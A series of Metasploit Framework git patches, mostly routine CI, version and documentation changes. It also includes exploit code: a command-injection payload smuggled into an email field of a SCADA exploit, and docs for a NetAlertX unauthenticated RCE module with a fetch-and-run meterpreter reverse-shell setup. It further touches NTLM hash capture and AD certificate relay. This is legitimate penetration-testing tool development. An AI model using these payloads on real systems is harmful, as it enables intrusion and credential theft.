a/docs/metasploit-framework.wiki/Payload-Testing.md b/docs/metasploit-framework.wiki/Payload-Testing.md index 46cb5dab3b..b1231ca67f 100644 --- a/docs/metasploit-framework.wiki/Payload-Testing.md +++ b/docs/metasploit-framework.wiki/Payload-Testing.md @@ -15,27 +15,27 @@ Once the appropriate repository label is added, you will need to edit the GitHub repository and branch you want to test. Below I will outline some changes that are required to make this work, update the following lines like so: -1. Point at your forked repository - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L188): +1. Point at your forked repository - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L189): ```yaml repository: foo-r7/metasploit-framework ``` -2. Point at your forked repository branch - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L190): +2. Point at your forked repository branch - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L191): ```yaml ref: fixes-all-the-bugs ``` -3. Point at your forked repository that contains the payload changes you'd like to test - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L249) +3. Point at your forked repository that contains the payload changes you'd like to test - update lines [45](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L45) and [250](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L250): ```yaml repository: foo-r7/metasploit-payloads ``` -4. Point at your forked repository branch that contains the payload changes you'd like to test - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L251): +4. Point at your forked repository branch that contains the payload changes you'd like to test - update lines [47](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L47) and [252](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L252): ```yaml ref: fixes-all-the-payload-bugs ``` Steps 3 and 4 outline the steps required when steps testing metasploit-payloads. The same steps apply for Mettle, the following lines would need updated: - - Point at your forked repository that contain the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L155). - - Point at your forked repository branch that contains the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L157). + - Point at your forked repository that contain the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L156). + - Point at your forked repository branch that contains the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L158). From 9d50fb66bc406ba45affed46084169f2da22aa43 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 28 Jan 2025 10:14:36 -0800 Subject: [PATCH 08/37] Fix jtr_format assignment in HashCapture module --- lib/msf/core/exploit/remote/smb/server/hash_capture.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/remote/smb/server/hash_capture.rb b/lib/msf/core/exploit/remote/smb/server/hash_capture.rb index fac5a05d06..06c8a81f4f 100644 --- a/lib/msf/core/exploit/remote/smb/server/hash_capture.rb +++ b/lib/msf/core/exploit/remote/smb/server/hash_capture.rb @@ -41,7 +41,6 @@ module Msf print_line end end - def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:) ntlm_message = ntlm_type3 hash_type = nil @@ -54,12 +53,14 @@ module Msf case ntlm_message.ntlm_version when :ntlmv1, :ntlm2_session hash_type = 'NTLMv1-SSP' + jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV1 client_hash = "#{bin_to_hex(ntlm_message.lm_response)}:#{bin_to_hex(ntlm_message.ntlm_response)}" combined_hash << ":#{client_hash}" combined_hash << ":#{bin_to_hex(challenge)}" when :ntlmv2 hash_type = 'NTLMv2-SSP' + jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV2 client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}" combined_hash << ":#{bin_to_hex(challenge)}" @@ -68,8 +69,6 @@ module Msf return if hash_type.nil? - jtr_format = ntlm_message.ntlm_version == :ntlmv1 ? Metasploit::Framework::Hashes::JTR_NTLMV1 : Metasploit::Framework::Hashes::JTR_NTLMV2 - if active_db? origin = create_credential_origin_service( { From 8e68d1d5f242a6a22641be2fff4775d19bdcf457 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 28 Jan 2025 10:40:13 -0800 Subject: [PATCH 09/37] Fixed spacing --- lib/msf/core/exploit/remote/smb/server/hash_capture.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/exploit/remote/smb/server/hash_capture.rb b/lib/msf/core/exploit/remote/smb/server/hash_capture.rb index 06c8a81f4f..8c11762d1e 100644 --- a/lib/msf/core/exploit/remote/smb/server/hash_capture.rb +++ b/lib/msf/core/exploit/remote/smb/server/hash_capture.rb @@ -41,6 +41,7 @@ module Msf print_line end end + def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:) ntlm_message = ntlm_type3 hash_type = nil From 21b3315229f517ed4ff2d718cd493047108d867a Mon Sep 17 00:00:00 2001 From: h4x-x0r <152236528+h4x-x0r@users.noreply.github.com> Date: Wed, 29 Jan 2025 20:18:05 +0000 Subject: [PATCH 10/37] updated updated --- .../exploits/windows/scada/mypro_mgr_cmd.rb | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) diff --git a/modules/exploits/windows/scada/mypro_mgr_cmd.rb b/modules/exploits/windows/scada/mypro_mgr_cmd.rb index d427e1bde9..29979b5821 100644 --- a/modules/exploits/windows/scada/mypro_mgr_cmd.rb +++ b/modules/exploits/windows/scada/mypro_mgr_cmd.rb @@ -69,15 +69,13 @@ class MetasploitModule < Msf::Exploit::Remote if res.to_s =~ /const v="([^"]+)"/ version = ::Regexp.last_match(1) vprint_status('Version retrieved: ' + version) - if Rex::Version.new(version) <= Rex::Version.new('1.2') return CheckCode::Appears - else - return CheckCode::Safe end - else - return CheckCode::Unknown + + return CheckCode::Safe end + return CheckCode::Unknown end def exploit @@ -92,20 +90,20 @@ class MetasploitModule < Msf::Exploit::Remote def exec_mypro_mgr(cmd) post_data = { 'command' => 'testEmail', - 'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd}" + 'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #" } - post_json = JSON.generate(post_data) - res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/json', - 'data' => post_json, + 'data' => JSON.generate(post_data), 'uri' => normalize_uri(target_uri.path, 'get') }) - if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout. + if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout. print_good('Command successfully executed, check your shell.') + else + print_error('Unexpected or no reply received.') end end From 0caaa5d655fa4f51fb67bf690f748524276ee933 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 30 Jan 2025 17:27:49 -0500 Subject: [PATCH 11/37] Parse and display the flags field --- lib/rex/proto/ms_crtd.rb | 19 ++++++++++--- .../admin/ldap/ad_cs_cert_template.rb | 27 +++++++++++++++++++ 2 files changed, 43 insertions(+), 3 deletions(-) diff --git a/lib/rex/proto/ms_crtd.rb b/lib/rex/proto/ms_crtd.rb index 101157ff6e..8b7e4c69e9 100644 --- a/lib/rex/proto/ms_crtd.rb +++ b/lib/rex/proto/ms_crtd.rb @@ -5,13 +5,26 @@ module Rex::Proto module MsCrtd # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/4c6950e4-1dc2-4ae3-98c3-b8919bb73822 + # [2.4 flags Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/6cc7eb79-3e84-477a-b398-b0ff2b68a6c0) + CT_FLAG_AUTO_ENROLLMENT = 0x00000020 + CT_FLAG_MACHINE_TYPE = 0x00000040 + CT_FLAG_IS_CA = 0x00000080 + CT_FLAG_ADD_TEMPLATE_NAME = 0x00000200 + CT_FLAG_IS_CROSS_CA = 0x00000800 + CT_FLAG_IS_DEFAULT = 0x00010000 + CT_FLAG_IS_MODIFIED = 0x00020000 + CT_FLAG_DONOTPERSISTINDB = 0x00001000 + CT_FLAG_ADD_EMAIL = 0x00000002 + CT_FLAG_PUBLISH_TO_DS = 0x00000008 + CT_FLAG_EXPORTABLE_KEY = 0x00000010 + # [2.26 msPKI-Enrollment-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1) CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS = 0x00000001 CT_FLAG_PEND_ALL_REQUESTS = 0x00000002 CT_FLAG_PUBLISH_TO_KRA_CONTAINER = 0x00000004 - CT_FLAG_PUBLISH_TO_DS = 0x00000008 + #CT_FLAG_PUBLISH_TO_DS = 0x00000008 CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE = 0x00000010 - CT_FLAG_AUTO_ENROLLMENT = 0x00000020 + #CT_FLAG_AUTO_ENROLLMENT = 0x00000020 CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT = 0x00000040 CT_FLAG_USER_INTERACTION_REQUIRED = 0x00000100 CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE = 0x00000400 @@ -26,7 +39,7 @@ module Rex::Proto # [2.27 msPKI-Private-Key-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/f6122d87-b999-4b92-bff8-f465e8949667) CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL = 0x00000001 - CT_FLAG_EXPORTABLE_KEY = 0x00000010 + #CT_FLAG_EXPORTABLE_KEY = 0x00000010 CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED = 0x00000020 CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM = 0x00000040 CT_FLAG_REQUIRE_SAME_KEY_RENEWAL = 0x00000080 diff --git a/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb b/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb index 940ff63afc..dc5b948c40 100644 --- a/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb +++ b/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb @@ -346,6 +346,29 @@ class MetasploitModule < Msf::Auxiliary print_status(" objectGUID: #{object_guid}") end + pki_flag = obj['flags']&.first + if pki_flag.present? + pki_flag = [obj['flags'].first.to_i].pack('l').unpack1('L') + print_status(" flags: 0x#{pki_flag.to_s(16).rjust(8, '0')}") + %w[ + CT_FLAG_AUTO_ENROLLMENT + CT_FLAG_MACHINE_TYPE + CT_FLAG_IS_CA + CT_FLAG_ADD_TEMPLATE_NAME + CT_FLAG_IS_CROSS_CA + CT_FLAG_IS_DEFAULT + CT_FLAG_IS_MODIFIED + CT_FLAG_DONOTPERSISTINDB + CT_FLAG_ADD_EMAIL + CT_FLAG_PUBLISH_TO_DS + CT_FLAG_EXPORTABLE_KEY + ].each do |flag_name| + if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0 + print_status(" * #{flag_name}") + end + end + end + pki_flag = obj['mspki-certificate-name-flag']&.first if pki_flag.present? pki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L') @@ -481,6 +504,10 @@ class MetasploitModule < Msf::Auxiliary print_status(" pKIMaxIssuingDepth: #{obj['pkimaxissuingdepth'].first.to_i}") end + if obj['showinadvancedviewonly'].present? + print_status(" showInAdvancedViewOnly: #{obj['showinadvancedviewonly'].first}") + end + { object: obj, file: stored } end From 3f8db70d4593d3ec2ade0e09cd218738602b53b1 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Mon, 3 Feb 2025 17:10:31 -0600 Subject: [PATCH 12/37] Change behavior of 'AUTO' mode to attempt to get a cert based on DomainController and Machine templates --- modules/auxiliary/server/relay/esc8.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/server/relay/esc8.rb b/modules/auxiliary/server/relay/esc8.rb index fba637977a..7ff0e22091 100644 --- a/modules/auxiliary/server/relay/esc8.rb +++ b/modules/auxiliary/server/relay/esc8.rb @@ -107,11 +107,13 @@ class MetasploitModule < Msf::Auxiliary def on_relay_success(relay_connection:, relay_identity:) case datastore['MODE'] when 'AUTO' - cert_template = relay_identity.end_with?('$') ? 'Computer' : 'User' - retrieve_cert(relay_connection, relay_identity, cert_template) + cert_template = relay_identity.end_with?('$') ? ['DomainController', 'Machine'] : ['User'] + retrieve_certs(relay_connection, relay_identity, cert_template) when 'ALL', 'QUERY_ONLY' cert_templates = get_cert_templates(relay_connection) + unless cert_templates.nil? || cert_templates.empty? + print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***') print_good("Available Certificates for #{relay_identity} on #{datastore['RELAY_TARGET']}: #{cert_templates.join(', ')}") if datastore['MODE'] == 'ALL' retrieve_certs(relay_connection, relay_identity, cert_templates) From 6ab32cde3210a6326f5f6cc83cbab0948eea36a2 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 4 Feb 2025 07:24:10 +0100 Subject: [PATCH 13/37] Ivanti HTTP Module fix based on remaining comments --- .../framework/login_scanner/ivanti_login.rb | 27 ++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/lib/metasploit/framework/login_scanner/ivanti_login.rb b/lib/metasploit/framework/login_scanner/ivanti_login.rb index 118ae889d5..8a172b9406 100644 --- a/lib/metasploit/framework/login_scanner/ivanti_login.rb +++ b/lib/metasploit/framework/login_scanner/ivanti_login.rb @@ -8,11 +8,34 @@ module Metasploit # - Admin Login class Ivanti < HTTP + DEFAULT_SSL_PORT = 443 + LIKELY_PORTS = [443] + LIKELY_SERVICE_NAMES = [ + 'Ivanti Connect Secure' + ] + PRIVATE_TYPES = [:password] + REALM_KEY = nil + def initialize(scanner_config, admin) @admin = admin super(scanner_config) end + def check_setup + request_params = { + 'method' => 'GET', + 'uri' => normalize_uri('/dana-na/auth/url_default/welcome.cgi') + } + + res = send_request(request_params) + + if res && res.code == 200 && res.body&.include?('Ivanti Connect Secure') + return false + end + + 'Application might not be Ivanti Connect Secure, please check' + end + def create_admin_request(username, password, token, protocol, peer) { 'method' => 'POST', @@ -73,6 +96,8 @@ module Metasploit return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil? return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 302 + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if !res.headers&.key?('location') + return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res.headers['location'] == '/dana-na/auth/url_admin/welcome.cgi?p=admin%2Dconfirm' if res.headers['location'] == '/dana-admin/misc/admin.cgi' @@ -122,7 +147,7 @@ module Metasploit end return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil? return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 302 - return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if res.blank? + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if !res.headers&.key?('location') if res.headers['location'] == '/dana-na/auth/url_default/welcome.cgi?p=ip%2Dblocked' sleep(2 * 60) # 2 minutes From 7e8c35257ee4d8b2b4a8d825178925261f25edb6 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Tue, 4 Feb 2025 15:41:33 -0600 Subject: [PATCH 14/37] Update docs, fix space in module --- documentation/modules/auxiliary/server/relay/esc8.md | 10 ++++++---- modules/auxiliary/server/relay/esc8.rb | 1 - 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/documentation/modules/auxiliary/server/relay/esc8.md b/documentation/modules/auxiliary/server/relay/esc8.md index 16d7c1b5c6..616fa17936 100644 --- a/documentation/modules/auxiliary/server/relay/esc8.md +++ b/documentation/modules/auxiliary/server/relay/esc8.md @@ -20,10 +20,12 @@ The issue mode. This controls what the module will do once an authenticated sess server. Must be one of the following options: * ALL: Enumerate all available certificate templates and then issue each of them -* AUTO: Automatically select either the `User` or `Machine` template to issue based on if the authenticated user is a - user or machine account. The determination is based on checking for a `$` at the end of the name, which means that it - is a machine account. -* QUERY_ONLY: Enumerate all available certificate templates but do not issue any +* AUTO: Automatically select either the `User` or `DomainController` and `Machine` (`Computer`) templates to issue + based on if the authenticated user is a user or machine account. The determination is based on checking for a `$` + at the end of the name, which means that it is a machine account. +* QUERY_ONLY: Enumerate all available certificate templates but do not issue any. Not all certificate templates + available for use will be displayed; templates with the flag CT_FLAG_MACHINE_TYPE set will not show available and + include `Machine` (AKA `Computer`) and `DomainController` * SPECIFIC_TEMPLATE: Issue the certificate template specified in the `CERT_TEMPLATE` option ### CERT_TEMPLATE diff --git a/modules/auxiliary/server/relay/esc8.rb b/modules/auxiliary/server/relay/esc8.rb index 7ff0e22091..48ef580a70 100644 --- a/modules/auxiliary/server/relay/esc8.rb +++ b/modules/auxiliary/server/relay/esc8.rb @@ -111,7 +111,6 @@ class MetasploitModule < Msf::Auxiliary retrieve_certs(relay_connection, relay_identity, cert_template) when 'ALL', 'QUERY_ONLY' cert_templates = get_cert_templates(relay_connection) - unless cert_templates.nil? || cert_templates.empty? print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***') print_good("Available Certificates for #{relay_identity} on #{datastore['RELAY_TARGET']}: #{cert_templates.join(', ')}") From e6fb4f876e36d2adc65c052a83a42f54d7363b84 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 4 Feb 2025 16:45:40 -0500 Subject: [PATCH 15/37] Update .github/workflows/weekly-data-and-external-tool-updater.yml Co-authored-by: jheysel-r7 --- .github/workflows/weekly-data-and-external-tool-updater.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/weekly-data-and-external-tool-updater.yml b/.github/workflows/weekly-data-and-external-tool-updater.yml index 1563d66a7d..1e54ae376b 100644 --- a/.github/workflows/weekly-data-and-external-tool-updater.yml +++ b/.github/workflows/weekly-data-and-external-tool-updater.yml @@ -33,7 +33,7 @@ jobs: fail-fast: true matrix: ruby: - - '3.1' + - '3.2' steps: - name: Install system dependencies From 7f5f459c86ba39c00d2128c4aeb602a7351e64c6 Mon Sep 17 00:00:00 2001 From: jenkins-metasploit Date: Wed, 5 Feb 2025 17:51:07 +0000 Subject: [PATCH 16/37] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index d09d01e0aa..05e9e6c9c1 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -62377,7 +62377,7 @@ "https" ], "targets": null, - "mod_time": "2024-11-12 18:23:31 +0000", + "mod_time": "2025-02-04 15:41:33 +0000", "path": "/modules/auxiliary/server/relay/esc8.rb", "is_install_path": true, "ref_name": "server/relay/esc8", From 05a2e9dc9f2a08be3841b29e12cc99cd838e2d69 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 6 Feb 2025 03:32:51 -0600 Subject: [PATCH 17/37] Bump version of framework to 6.4.49 --- Gemfile.lock | 2 +- LICENSE_GEMS | 2 +- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 75cef45ce8..a2b9def075 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.4.48) + metasploit-framework (6.4.49) aarch64 abbrev actionpack (~> 7.0.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 053d03bfba..832c40c891 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -90,7 +90,7 @@ memory_profiler, 1.1.0, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 5.0.3, "New BSD" metasploit-credential, 6.0.11, "New BSD" -metasploit-framework, 6.4.48, "New BSD" +metasploit-framework, 6.4.49, "New BSD" metasploit-model, 5.0.2, "New BSD" metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD" metasploit_data_models, 6.0.5, "New BSD" diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 93955f988f..f8894255e0 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ module Metasploit end end - VERSION = "6.4.48" + VERSION = "6.4.49" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 7112fb27e62bf54ca53bcd6a419580889c79572d Mon Sep 17 00:00:00 2001 From: jenkins-metasploit Date: Thu, 6 Feb 2025 14:06:13 +0000 Subject: [PATCH 18/37] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 05e9e6c9c1..48df46458e 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -6802,7 +6802,7 @@ ], "targets": null, - "mod_time": "2025-01-28 17:20:10 +0000", + "mod_time": "2025-01-30 17:27:49 +0000", "path": "/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb", "is_install_path": true, "ref_name": "admin/ldap/ad_cs_cert_template", From 6da074e1645b0dc18bc959fed4c64262618aa173 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Wed, 5 Feb 2025 21:42:39 -0600 Subject: [PATCH 19/37] Restrict weekly PR tooling to rapid7 repo --- .github/workflows/weekly-data-and-external-tool-updater.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/workflows/weekly-data-and-external-tool-updater.yml b/.github/workflows/weekly-data-and-external-tool-updater.yml index 1e54ae376b..6197d97bae 100644 --- a/.github/workflows/weekly-data-and-external-tool-updater.yml +++ b/.github/workflows/weekly-data-and-external-tool-updater.yml @@ -26,6 +26,8 @@ jobs: update-data-files: runs-on: ubuntu-latest + if: github.repository_owner == 'rapid7' + env: BUNDLE_WITHOUT: "coverage development pcap" @@ -93,4 +95,4 @@ jobs: - [ ] `run` - [ ] **Verify** it runs w/o erroring - [ ] `set method disk` - - [ ] **Verify** it runs w/o erroring \ No newline at end of file + - [ ] **Verify** it runs w/o erroring From ad8c1c3f43bda844a767a2327ba118abf3484057 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Fri, 7 Feb 2025 13:49:59 +0000 Subject: [PATCH 20/37] Update nokogiri dependency --- .github/workflows/command_shell_acceptance.yml | 2 +- .github/workflows/lint.yml | 2 +- .github/workflows/shared_meterpreter_acceptance.yml | 2 +- .github/workflows/verify.yml | 3 +-- Gemfile.lock | 4 ++-- 5 files changed, 6 insertions(+), 7 deletions(-) diff --git a/.github/workflows/command_shell_acceptance.yml b/.github/workflows/command_shell_acceptance.yml index 62da721a0b..269aec50a2 100644 --- a/.github/workflows/command_shell_acceptance.yml +++ b/.github/workflows/command_shell_acceptance.yml @@ -66,7 +66,7 @@ jobs: - windows-2019 - ubuntu-20.04 ruby: - - 3.1.5 + - '3.2' include: # Powershell - { command_shell: { name: powershell }, os: windows-2019 } diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 27106f066f..dbb8dca692 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -38,7 +38,7 @@ jobs: fail-fast: true matrix: ruby: - - '3.1' + - '3.2' name: Lint msftidy steps: diff --git a/.github/workflows/shared_meterpreter_acceptance.yml b/.github/workflows/shared_meterpreter_acceptance.yml index e595308e26..3a55f5ad30 100644 --- a/.github/workflows/shared_meterpreter_acceptance.yml +++ b/.github/workflows/shared_meterpreter_acceptance.yml @@ -70,7 +70,7 @@ jobs: - windows-2019 - ubuntu-20.04 ruby: - - 3.1.5 + - '3.2' meterpreter: # Python - { name: python, runtime_version: 3.6 } diff --git a/.github/workflows/verify.yml b/.github/workflows/verify.yml index afb7ab9a04..87ce8e7b30 100644 --- a/.github/workflows/verify.yml +++ b/.github/workflows/verify.yml @@ -60,7 +60,6 @@ jobs: fail-fast: true matrix: ruby: - - '3.1' - '3.2' - '3.3' - '3.4' @@ -69,7 +68,7 @@ jobs: - ubuntu-latest include: - os: ubuntu-latest - ruby: '3.1' + ruby: '3.2' test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1' test_cmd: - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" diff --git a/Gemfile.lock b/Gemfile.lock index 75cef45ce8..b410e9cc41 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -323,7 +323,7 @@ GEM logger mime-types-data (~> 3.2015) mime-types-data (3.2024.1001) - mini_portile2 (2.8.7) + mini_portile2 (2.8.8) minitest (5.25.1) mqtt (0.6.0) msgpack (1.6.1) @@ -346,7 +346,7 @@ GEM network_interface (0.0.4) nexpose (7.3.0) nio4r (2.7.4) - nokogiri (1.16.7) + nokogiri (1.18.2) mini_portile2 (~> 2.8.2) racc (~> 1.4) nori (2.7.1) From 00f4f80530e6b5e0ea9d839a330ec8b5f2cd5ae9 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Sat, 8 Feb 2025 14:40:31 +0900 Subject: [PATCH 21/37] Add NetAlertx rce module (CVE-2024-46506) --- .../http/netalertx_rce_cve_2024_46506.md | 107 +++++++++++++ .../http/netalertx_rce_cve_2024_46506.rb | 148 ++++++++++++++++++ 2 files changed, 255 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md create mode 100644 modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb diff --git a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md new file mode 100644 index 0000000000..117cb97ce0 --- /dev/null +++ b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md @@ -0,0 +1,107 @@ +## Vulnerable Application + +An attacker can update NetAlertx settings with no authentication, which results in RCE. + +The vulnerability affects: + + * v23.01.14 <= NetAlertX <= v24.9.12 + +This module was successfully tested on: + + * NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04 + + +### Installation + +1. `docker pull jokobsk/netalertx:24.9.12` + +2. docker run +```bash +docker run --rm --network=host \ + -v /tmp/netalertx:/app/config \ + -v /tmp/netalertx:/app/db \ + -e TZ=Europe/Berlin \ + -e PORT=20211 \ + jokobsk/netalertx:24.9.12 +``` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options +### WAIT (required) +Wait time (seconds) for the payload to be set. Default is `75`. + + +## Scenarios +``` +msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options + +Module options (exploit/linux/http/netalertx_rce_cve_2024_46506): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht + ml + RPORT 20211 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + WAIT 75 yes Wait time (seconds) for the payload to be set + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILENAME hhPzIVsphPBC no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST 192.168.0.12 yes The listen address (an interface may be specified) + 